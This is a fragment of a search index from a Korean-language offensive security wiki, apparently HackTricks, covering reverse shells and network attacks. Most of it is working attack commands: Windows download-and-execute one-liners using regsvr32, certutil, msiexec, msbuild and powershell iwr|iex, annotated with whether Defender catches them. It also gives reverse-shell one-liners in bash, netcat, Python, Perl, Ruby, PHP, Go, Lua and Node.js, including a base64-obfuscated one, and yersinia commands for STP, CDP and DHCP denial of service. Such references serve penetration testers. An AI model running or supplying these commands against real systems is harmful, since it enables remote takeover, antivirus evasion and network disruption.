\\n\\n\\n\\n\\n\\n\\n Regsvr32 - Metasploit bash use multi/script/web_delivery\\nset target 3\\nset payload windows/meterpreter/reverse/tcp\\nset lhost 10.2.0.5\\nrun\\n#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll stager regsvr를 사용하여 Koadic zombie를 매우 쉽게 download & execute할 수 있습니다","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Regsvr32","id":"1204","title":"Regsvr32"},"1205":{"body":"From here B64dll을 download하여 decode한 후 execute합니다. bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\InstallUtil /logfile= /LogToConsole=false /u payload.dll B64exe를 다운로드하여 디코드한 뒤 실행하세요. bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe defender에 의해 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Certutil","id":"1205","title":"Certutil"},"1206":{"body":"bash powershell.exe -c \\"(New-Object System.NET.WebClient).DownloadFile(\'http://10.2.0.5:8000/reverse_shell.vbs\',\\\\\\"$env:temp\\\\test.vbs\\\\\\");Start-Process %windir%\\\\system32\\\\cscript.exe \\\\\\"$env:temp\\\\test.vbs\\\\\\"\\" Cscript - Metasploit bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs defender에 의해 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Cscript/Wscript","id":"1206","title":"Cscript/Wscript"},"1207":{"body":"bash \\\\\\\\webdavserver\\\\folder\\\\batchfile.bat 네트워크 호출을 수행하는 프로세스: svchost.exe Payload가 디스크에 기록됨: WebDAV client local cache bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat\\nimpacket-smbserver -smb2support kali `pwd` bash \\\\\\\\10.8.0.3\\\\kali\\\\shell.bat defender에 의해 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » PS-Bat","id":"1207","title":"PS-Bat"},"1208":{"body":"공격자 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi\\npython -m SimpleHTTPServer 80 대상: victim> msiexec /quiet /i \\\\\\\\10.2.0.5\\\\kali\\\\shell.msi 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » MSIExec","id":"1208","title":"MSIExec"},"1209":{"body":"여기에서 bash wmic os get /format:\\"https://webserver/payload.xsl\\" 예제 xsl 파일 from here : xml \\n\\n\\n\\n\\n\\n 탐지되지 않음 stager wmic를 사용하면 Koadic zombie를 아주 쉽게 다운로드하고 실행할 수 있습니다","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Wmic","id":"1209","title":"Wmic"},"121":{"body":"인터페이스에서 BPDU 프레임을 캡처할 수 없다면 STP 공격에 성공할 가능성은 낮습니다. STP BPDU DoS 많은 BPDUs—TCP (Topology Change Notification) 또는 Conf(토폴로지가 생성될 때 전송되는 BPDU)를 전송하면 스위치가 과부하되어 정상적으로 동작하지 않게 됩니다. bash yersinia stp -attack 2\\nyersinia stp -attack 3\\n#Use -M to disable MAC spoofing STP TCP Attack TCP가 전송되면, switches의 CAM table은 15s 후에 삭제됩니다. 그런 다음, 이러한 종류의 packets를 지속적으로 전송하면 CAM table은 계속해서 재시작됩니다(또는 매 15segs마다), 그리고 재시작될 때 switch는 hub처럼 동작합니다. bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds\\nyersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen STP Root Attack 공격자는 switch의 동작을 가장해 네트워크의 STP root가 됩니다. 그러면 더 많은 데이터가 그를 통해 통과하게 됩니다. 이는 당신이 두 개의 서로 다른 switch에 연결되어 있을 때 흥미롭습니다. 이는 BPDUs CONF packets를 전송하여 priority 값이 실제 root switch의 priority보다 낮다고 알리는 방식으로 수행됩니다. bash yersinia stp -attack 4 #Behaves like the root switch\\nyersinia stp -attack 5 #This will make the device behaves as a switch but will not be root 공격자가 2개의 스위치에 연결되어 있으면 새로운 트리의 root가 될 수 있고, 그 스위치들 사이의 모든 트래픽은 그를 통해 지나간다 (MITM attack가 수행된다). bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets \\"Sniff\\" --> \\"Bridged sniffing\\"\\nettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages","breadcrumbs":"Pentesting Network » STP 공격","id":"121","title":"STP 공격"},"1210":{"body":"From here cmd /V /c \\"set MB=\\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\MSBuild.exe\\" & !MB! /noautoresponse /preprocess \\\\\\\\webdavserver\\\\folder\\\\payload.xml > payload.xml & !MB! payload.xml\\" 이 기법은 Application Whitelisting 및 Powershell.exe 제한을 우회하는 데 사용할 수 있습니다. PS shell이 표시됩니다.\\\\ 다운로드하여 실행하세요: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe MSBuildShell.csproj 탐지되지 않음","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Msbuild","id":"1210","title":"Msbuild"},"1211":{"body":"피해자 머신에서 C# 코드를 컴파일합니다. C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\csc.exe /unsafe /out:shell.exe shell.cs 여기에서 기본 C# reverse shell을 다운로드할 수 있습니다: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc 탐지되지 않음","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » CSC","id":"1211","title":"CSC"},"1212":{"body":"여기에서 bash C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\regasm.exe /u \\\\\\\\webdavserver\\\\folder\\\\payload.dll 시도해보지 않았습니다 https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Regasm/Regsvc","id":"1212","title":"Regasm/Regsvc"},"1213":{"body":"여기에서 bash odbcconf /s /a {regsvr \\\\\\\\webdavserver\\\\folder\\\\payload_dll.txt} 시도해보지 않았습니다 https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Odbcconf","id":"1213","title":"Odbcconf"},"1214":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Powershell Shells","id":"1214","title":"Powershell Shells"},"1215":{"body":"https://github.com/samratashok/nishang Shells 폴더에는 다양한 shells가 있습니다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트를 복사한 뒤 파일 끝에 추가하세요: Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 web server에서 script를 제공하고 피해자 측에서 실행하세요: powershell -exec bypass -c \\"iwr(\'http://10.11.0.134/shell2.ps1\')|iex\\" Defender는 아직 이를 악성 코드로 탐지하지 않습니다 (3/04/2019). TODO: 다른 nishang shells 확인하기","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » PS-Nishang","id":"1215","title":"PS-Nishang"},"1216":{"body":"https://github.com/besimorhino/powercat 다운로드하고, 웹 서버를 시작한 뒤, listener를 시작하고 피해자 측에서 실행합니다: powershell -exec bypass -c \\"iwr(\'http://10.2.0.5/powercat.ps1\')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd\\" Defender는 아직 이를 malicious code로 탐지하지 않습니다 (3/04/2019). powercat에서 제공하는 다른 옵션: Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... Serve a cmd Shell:\\npowercat -l -p 443 -e cmd\\nSend a cmd Shell:\\npowercat -c 10.1.1.1 -p 443 -e cmd\\nSend a powershell:\\npowercat -c 10.1.1.1 -p 443 -ep\\nSend a powershell UDP:\\npowercat -c 10.1.1.1 -p 443 -ep -u\\nTCP Listener to TCP Client Relay:\\npowercat -l -p 8000 -r tcp:10.1.1.16:443\\nGenerate a reverse tcp payload which connects back to 10.1.1.15 port 443:\\npowercat -c 10.1.1.15 -p 443 -e cmd -g\\nStart A Persistent Server That Serves a File:\\npowercat -l -p 443 -i C:\\\\inputfile -rep","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » PS-Powercat","id":"1216","title":"PS-Powercat"},"1217":{"body":"https://github.com/EmpireProject/Empire powershell 런처를 생성하고 파일로 저장한 다음 다운로드하여 실행합니다. powershell -exec bypass -c \\"iwr(\'http://10.2.0.5/launcher.ps1\')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd\\" 악성 코드로 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » Empire","id":"1217","title":"Empire"},"1218":{"body":"https://github.com/trustedsec/unicorn unicorn을 사용하여 powershell 버전의 metasploit backdoor를 생성합니다. python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 생성한 resource로 msfconsole을 시작하세요: msfconsole -r unicorn.rc 피해자에서 실행하도록 powershell_attack.txt 파일을 제공하는 웹 서버를 시작하세요: powershell -exec bypass -c \\"iwr(\'http://10.2.0.5/powershell_attack.txt\')|iex\\" 악성 코드로 탐지됨","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » MSF-Unicorn","id":"1218","title":"MSF-Unicorn"},"1219":{"body":"PS>Attack PS 콘솔로 일부 offensive PS modules가 사전 로드되어 있음 (암호화됨) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS 콘솔로 일부 offensive PS modules 및 프록시 감지 포함 (IEX)","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » 추가","id":"1219","title":"추가"},"122":{"body":"CISCO Discovery Protocol (CDP)은 CISCO 장치 간 통신에 필수적이며, 서로를 식별하고 구성 세부정보를 공유 할 수 있게 합니다. 수동 데이터 수집 CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험을 초래할 수 있습니다. 공격자는 스위치 포트에 연결한 뒤 Wireshark , tcpdump , 또는 Yersinia 같은 네트워크 스니퍼를 실행할 수 있습니다. 이로 인해 네트워크 장비의 모델과 실행 중인 Cisco IOS 버전 등 민감한 정보가 드러날 수 있습니다. 공격자는 식별된 Cisco IOS 버전의 특정 취약점을 노릴 수 있습니다. CDP 테이블 플러딩 유발 보다 공격적인 접근법은 합법적인 CISCO 장치인 것처럼 가장하여 스위치의 메모리를 과부하시켜 Denial of Service (DoS) 공격을 실행하는 것입니다. 아래는 테스트용 네트워크 도구인 Yersinia를 사용해 이러한 공격을 시작하는 명령 시퀀스입니다: bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices\\n# Alternatively, for a GUI approach:\\nsudo yersinia -G 이 공격 동안 스위치의 CPU와 CDP neighbor table에 큰 부담이 발생하여 과도한 자원 소비로 인해 흔히 **“네트워크 마비”**라고 불리는 상태로 이어집니다. CDP Impersonation Attack bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device\\nsudo yersinia cdp -attack 0 #Send a CDP packet You could also use scapy . Be sure to install it with scapy/contrib package.","breadcrumbs":"Pentesting Network » CDP 공격","id":"122","title":"CDP 공격"},"1220":{"body":"https://highon.coffee/blog/reverse-shell-cheat-sheet/ https://gist.github.com/Arno0x https://github.com/GreatSCT/GreatSCT https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ https://www.hackingarticles.in/koadic-com-command-control-framework/ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Windows » References","id":"1220","title":"References"},"1221":{"body":"Reading time: 13 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이 쉘에 대한 질문이 있으면 https://explainshell.com/ 에서 확인할 수 있습니다.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Shells - Linux","id":"1221","title":"Shells - Linux"},"1222":{"body":"리버스 쉘을 얻으면 전체 TTY를 얻으려면 이 페이지를 읽으세요 .","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Full TTY","id":"1222","title":"Full TTY"},"1223":{"body":"bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash\\nbash -i >& /dev/tcp// 0>&1\\nbash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP\\n0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196\\nexec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; done #Short and bypass (credits to Dikline)\\n(sh)0>/dev/tcp/10.10.10.10/9091\\n#after getting the previous shell to get the output to execute\\nexec >&0 다른 셸(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)도 확인하는 것을 잊지 마세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Bash | sh","id":"1223","title":"Bash | sh"},"1224":{"body":"bash #If you need a more stable connection do:\\nbash -c \'bash -i >& /dev/tcp// 0>&1\' #Stealthier method\\n#B64 encode the shell like: echo \\"bash -c \'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1\'\\" | base64 -w0\\necho bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null Shell 설명 bash -i : 이 명령의 일부는 대화형(-i) Bash 셸을 시작합니다. >& : 이 명령의 일부는 표준 출력 (stdout)과 표준 오류 (stderr)를 같은 목적지로 리디렉션하는 약식 표기법입니다. /dev/tcp// : 이는 지정된 IP 주소와 포트에 대한 TCP 연결을 나타내는 특수 파일입니다. 출력 및 오류 스트림을 이 파일로 리디렉션함으로써 , 명령은 대화형 셸 세션의 출력을 공격자의 머신으로 효과적으로 전송합니다. 0>&1 : 이 명령의 일부는 표준 입력(stdin)을 표준 출력(stdout)과 같은 목적지로 리디렉션합니다 .","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 기호 안전 셸","id":"1224","title":"기호 안전 셸"},"1225":{"body":"bash echo -e \'#!/bin/bash\\\\nbash -i >& /dev/tcp/1/ 0>&1\' > /tmp/sh.sh; bash /tmp/sh.sh;\\nwget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 파일 생성 및 실행","id":"1225","title":"파일 생성 및 실행"},"1226":{"body":"Linux 기반 웹 애플리케이션에서 원격 코드 실행 (RCE) 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 더 효과적으로 상호작용하기 위해 PTY (가상 터미널) 셸을 설정하는 대안적 접근 방식이 있습니다. 이 목적을 위해 추천되는 도구는 toboggan 으로, 이는 대상 환경과의 상호작용을 단순화합니다. toboggan을 효과적으로 사용하려면, 대상 시스템의 RCE 맥락에 맞춘 Python 모듈을 생성해야 합니다. 예를 들어, nix.py라는 모듈은 다음과 같이 구성될 수 있습니다: python3 import jwt\\nimport httpx def execute(command: str, timeout: float = None) -> str:\\n# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution\\ntoken = jwt.encode(\\n{\\"cmd\\": command.replace(\\" \\", \\"${IFS}\\")}, \\"!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^\\", algorithm=\\"HS256\\"\\n) response = httpx.get(\\nurl=\\"https://vulnerable.io:3200\\",\\nheaders={\\"Authorization\\": f\\"Bearer {token}\\"},\\ntimeout=timeout,\\n# ||BURP||\\nverify=False,\\n) # Check if the request was successful\\nresponse.raise_for_status() return response.text 그런 다음, 다음을 실행할 수 있습니다: shell toboggan -m nix.py -i 대화형 셸을 직접 활용하려면 -b를 추가하여 Burpsuite 통합을 사용할 수 있으며, 더 기본적인 rce 래퍼를 위해 -i를 제거할 수 있습니다. 또 다른 가능성은 IppSec 포워드 셸 구현을 사용하는 것입니다 https://github.com/IppSec/forward-shell . 다음 사항을 수정하기만 하면 됩니다: 취약한 호스트의 URL 페이로드의 접두사 및 접미사(있는 경우) 페이로드가 전송되는 방식(헤더? 데이터? 추가 정보?) 그런 다음 명령을 전송 하거나 upgrade 명령을 사용 하여 전체 PTY를 얻을 수 있습니다(파이프는 약 1.3초 지연으로 읽고 씁니다).","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Forward Shell","id":"1226","title":"Forward Shell"},"1227":{"body":"bash nc -e /bin/sh \\nnc | /bin/sh #Blind\\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f\\nnc | /bin/bash | nc \\nrm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Netcat","id":"1227","title":"Netcat"},"1228":{"body":"https://www.gsocket.io/deploy/ 에서 확인하세요. bash bash -c \\"$(curl -fsSL gsocket.io/x)\\"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » gsocket","id":"1228","title":"gsocket"},"1229":{"body":"bash telnet | /bin/sh #Blind\\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f\\ntelnet | /bin/bash | telnet \\nrm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 텔넷","id":"1229","title":"텔넷"},"123":{"body":"VoIP 전화기는 IoT 장치와 점점 더 통합되어 특수 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 등의 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다. 도구 voiphopper 는 다양한 환경(Cisco, Avaya, Nortel, Alcatel-Lucent)에서 VoIP 전화를 에뮬레이트하도록 설계되었습니다. CDP, DHCP, LLDP-MED, 802.1Q ARP와 같은 프로토콜을 사용해 음성 네트워크의 VLAN ID를 검색합니다. VoIP Hopper 는 Cisco Discovery Protocol (CDP)에 대해 세 가지 모드를 제공합니다: Sniff Mode (-c 0): VLAN ID를 식별하기 위해 네트워크 패킷을 분석합니다. Spoof Mode (-c 1): 실제 VoIP 장치의 패킷을 모방하는 맞춤형 패킷을 생성합니다. Spoof with Pre-made Packet Mode (-c 2): 특정 Cisco IP 전화 모델과 동일한 패킷을 전송합니다. 속도를 위해 선호되는 모드는 세 번째 모드입니다. 이 모드는 다음을 지정해야 합니다: 공격자의 네트워크 인터페이스(-i 파라미터). 에뮬레이트할 VoIP 장치의 이름(-E 파라미터), Cisco 명명 형식(예: SEP 다음에 MAC 주소)을 따릅니다. 기업 환경에서는 기존 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다: 전화기의 MAC 라벨을 확인합니다. 전화기의 디스플레이 설정을 통해 모델 정보를 확인합니다. VoIP 장치를 노트북에 연결하고 Wireshark로 CDP 요청을 관찰합니다. 세 번째 모드로 도구를 실행하는 예시 명령은 다음과 같습니다: bash voiphopper -i eth1 -E \'SEP001EEEEEEEEE \' -c 2","breadcrumbs":"Pentesting Network » VoIP 공격 및 VoIP Hopper 도구","id":"123","title":"VoIP 공격 및 VoIP Hopper 도구"},"1230":{"body":"공격자 bash while true; do nc -l ; done 명령을 보내려면 입력하고, Enter를 누르고, CTRL+D를 눌러 STDIN을 중지합니다. 희생자 bash export X=Connected; while true; do X=`eval $(whois -h -p \\"Output: $X\\")`; sleep 1; done","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Whois","id":"1230","title":"Whois"},"1231":{"body":"bash #Linux\\nexport RHOST=\\"127.0.0.1\\";export RPORT=12345;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\\"RHOST\\"),int(os.getenv(\\"RPORT\\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\"/bin/sh\\")\'\\npython -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"10.0.0.1\\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);\'\\n#IPv6\\npython -c \'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\\"dead:beef:2::125c\\",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn(\\"/bin/sh\\");\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 파이썬","id":"1231","title":"파이썬"},"1232":{"body":"bash perl -e \'use Socket;$i=\\"\\";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\"tcp\\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\\">&S\\");open(STDOUT,\\">&S\\");open(STDERR,\\">&S\\");exec(\\"/bin/sh -i\\");};\'\\nperl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\\"[IPADDR]:[PORT]\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 펄","id":"1232","title":"펄"},"1233":{"body":"bash ruby -rsocket -e\'f=TCPSocket.open(\\"10.0.0.1\\",1234).to_i;exec sprintf(\\"/bin/sh -i <&%d >&%d 2>&%d\\",f,f,f)\'\\nruby -rsocket -e \'exit if fork;c=TCPSocket.new(\\"[IPADDR]\\",\\"[PORT]\\");while(cmd=c.gets);IO.popen(cmd,\\"r\\"){|io|c.print io.read}end\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 루비","id":"1233","title":"루비"},"1234":{"body":"php // Using \'exec\' is the most common method, but assumes that the file descriptor will be 3.\\n// Using this method may lead to instances where the connection reaches out to the listener and then closes.\\nphp -r \'$sock=fsockopen(\\"10.0.0.1\\",1234);exec(\\"/bin/sh -i <&3 >&3 2>&3\\");\' // Using \'proc_open\' makes no assumptions about what the file descriptor will be.\\n// See https://security.stackexchange.com/a/198944 for more information\\n$sock, 1=>$sock, 2=>$sock), $pipes); ?> /dev/tcp/10.10.14.8/4444 0>&1\'\\"); ?>","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » PHP","id":"1234","title":"PHP"},"1235":{"body":"bash r = Runtime.getRuntime()\\np = r.exec([\\"/bin/bash\\",\\"-c\\",\\"exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \\\\$line 2>&5 >&5; done\\"] as String[])\\np.waitFor()","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 자바","id":"1235","title":"자바"},"1236":{"body":"bash victim> ncat --ssl -c \\"bash -i 2>&1\\"\\nattacker> ncat -l --ssl","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Ncat","id":"1236","title":"Ncat"},"1237":{"body":"bash echo \'package main;import\\"os/exec\\";import\\"net\\";func main(){c,_:=net.Dial(\\"tcp\\",\\"192.168.0.134:8080\\");cmd:=exec.Command(\\"/bin/sh\\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » Golang","id":"1237","title":"Golang"},"1238":{"body":"bash #Linux\\nlua -e \\"require(\'socket\');require(\'os\');t=socket.tcp();t:connect(\'10.0.0.1\',\'1234\');os.execute(\'/bin/sh -i <&3 >&3 2>&3\');\\"\\n#Windows & Linux\\nlua5.1 -e \'local host, port = \\"127.0.0.1\\", 4444 local socket = require(\\"socket\\") local tcp = socket.tcp() local io = require(\\"io\\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \'r\') local s = f:read(\\"*a\\") f:close() tcp:send(s) if status == \\"closed\\" then break end end tcp:close()\'","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » 루아","id":"1238","title":"루아"},"1239":{"body":"javascript (function(){\\nvar net = require(\\"net\\"),\\ncp = require(\\"child_process\\"),\\nsh = cp.spawn(\\"/bin/sh\\", []);\\nvar client = new net.Socket();\\nclient.connect(8080, \\"10.17.26.64\\", function(){\\nclient.pipe(sh.stdin);\\nsh.stdout.pipe(client);\\nsh.stderr.pipe(client);\\n});\\nreturn /a/; // Prevents the Node.js application form crashing\\n})(); or require(\'child_process\').exec(\'nc -e /bin/sh [IPADDR] [PORT]\')\\nrequire(\'child_process\').exec(\\"bash -c \'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1\'\\") or -var x = global.process.mainModule.require\\n-x(\'child_process\').exec(\'nc [IPADDR] [PORT] -e /bin/bash\') or // If you get to the constructor of a function you can define and execute another function inside a string\\n\\"\\".sub.constructor(\\"console.log(global.process.mainModule.constructor._load(\\\\\\"child_process\\\\\\").execSync(\\\\\\"id\\\\\\").toString())\\")()\\n\\"\\".__proto__.constructor.constructor(\\"console.log(global.process.mainModule.constructor._load(\\\\\\"child_process\\\\\\").execSync(\\\\\\"id\\\\\\").toString())\\")() or // Abuse this syntax to get a reverse shell\\nvar fs = this.process.binding(\'fs\');\\nvar fs = process.binding(\'fs\'); or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » Reverse Shells - Linux » NodeJS","id":"1239","title":"NodeJS"},"124":{"body":"Enumeration bash nmap --script broadcast-dhcp-discover\\nStarting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT\\nWARNING: No targets were specified, so 0 hosts scanned.\\nPre-scan script results:\\n| broadcast-dhcp-discover:\\n| Response 1 of 1:\\n| IP Offered: 192.168.1.250\\n| DHCP Message Type: DHCPOFFER\\n| Server Identifier: 192.168.1.1\\n| IP Address Lease Time: 1m00s\\n| Subnet Mask: 255.255.255.0\\n| Router: 192.168.1.1\\n| Domain Name Server: 192.168.1.1\\n|_ Domain Name: mynet\\nNmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds DoS 두 가지 유형의 DoS 는 DHCP 서버에 대해 수행될 수 있다. 첫 번째 방법은 모든 가능한 IP 주소를 사용하도록 충분한 수의 가짜 호스트를 시뮬레이션하는 것 이다. 이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜( Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server))을 완료할 수 있을 때만 작동한다. 예를 들어, 이것은 Wifi networks에서는 불가능하다 . 또 다른 DHCP DoS 수행 방법은 모든 가능한 IP를 소스 주소로 사용한 DHCP-RELEASE 패킷을 보내는 것 이다. 그러면 서버는 모든 사용자가 해당 IP 사용을 종료했다고 생각하게 된다. bash yersinia dhcp -attack 1\\nyersinia dhcp -attack 3 #More parameters are needed 이 작업을 보다 자동화된 방식으로 수행하려면 도구 DHCPing 를 사용할 수 있습니다. 앞서 언급한 DoS 공격을 사용해 클라이언트가 환경 내에서 새로운 임대(lease)를 받도록 강제하고, 합법적인 서버들을 고갈시켜 응답하지 않게 만들 수 있습니다. 합법적인 서버가 다시 연결을 시도할 때, 다음 공격에서 언급된 악성 값을 제공할 수 있습니다 . 악성 값 설정 A rogue 